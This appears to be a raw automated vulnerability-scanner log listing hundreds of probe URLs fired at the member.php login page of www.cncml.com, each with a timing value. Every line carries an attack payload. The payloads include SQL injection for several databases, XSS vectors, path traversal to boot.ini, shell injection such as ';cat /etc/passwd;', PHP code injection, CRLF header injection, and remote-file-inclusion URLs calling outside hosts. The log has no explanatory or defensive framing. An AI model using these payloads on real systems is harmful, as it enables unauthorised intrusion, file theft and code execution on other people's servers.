0.0001 http://www.cncml.com/member.php?mod=cml,(SELECT%20(CASE%20WHEN%20(52=52)%20THEN%200x636D6C%20ELSE%2052*(SELECT%2052%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=cml,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=cml,(SELECT%20(CASE%20WHEN%20(95=95)%20THEN%200x636D6C%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=cml,(SELECT%20(CASE%20WHEN%20(97=51)%20THEN%200x636D6C%20ELSE%2097*(SELECT%2097%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=cml,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=cml,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/member.php?mod=cml,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=cml,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=cml/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=cml1 0.0001 http://www.cncml.com/member.php?mod=cml6633x3X6 0.0001 http://www.cncml.com/member.php?mod=cml;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=cml;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=cml;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=cmlAND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/member.php?mod=cmlAND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/member.php?mod=cmlAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=cmlJyI%3D 0.0001 http://www.cncml.com/member.php?mod=cmla' 0.0001 http://www.cncml.com/member.php?mod=cmlalert(42873) 0.0001 http://www.cncml.com/member.php?mod=cmle360 0.0001 http://www.cncml.com/member.php?mod=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/member.php?mod=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/member.php?mod=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/member.php?mod=dir 0.0001 http://www.cncml.com/member.php?mod=file:///c:/boot.ini 0.0001 http://www.cncml.com/member.php?mod=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/member.php?mod=logging&action=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/member.php?mod=logging&action=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&action=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=%3Cdir 0.0001 http://www.cncml.com/member.php?mod=logging&action=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/member.php?mod=logging&action=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/member.php?mod=logging&action=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/member.php?mod=logging&action=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&action=');print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&action=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=................windowswin.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/member.php?mod=logging&action=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/member.php?mod=logging&action=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/member.php?mod=logging&action=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/member.php?mod=logging&action=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/member.php?mod=logging&action=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&action=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/member.php?mod=logging&action=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/member.php?mod=logging&action=;print(md5(1122));%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=C:%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/member.php?mod=logging&action=dir 0.0001 http://www.cncml.com/member.php?mod=logging&action=file:///c:/boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&action=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&action=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&action=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&action=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/member.php?mod=logging&action=login 0.0004 http://www.cncml.com/member.php?mod=logging&action=login!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%00' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%2527 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%5B%5D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%5C%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%5C' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login%bf%27 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=%3Cdir 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=');print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=(SELECT%20(CASE%20WHEN%20(11=38)%20THEN%200x796573%20ELSE%2011*(SELECT%2011%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=................windowswin.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=;print(md5(1122));%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=C:%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=dir 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=file:///c:/boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=phpinfo 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=response.write(9412458*9542755) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=set%7Cset&set 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes 0.0014 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%00' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%25%27%29%20AND%2016%3D84%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&frommessage=frommessage&infloat=yes%25%27%29%20AND%2019%3D19%20AND%201%20like%28%27%25 0.0001 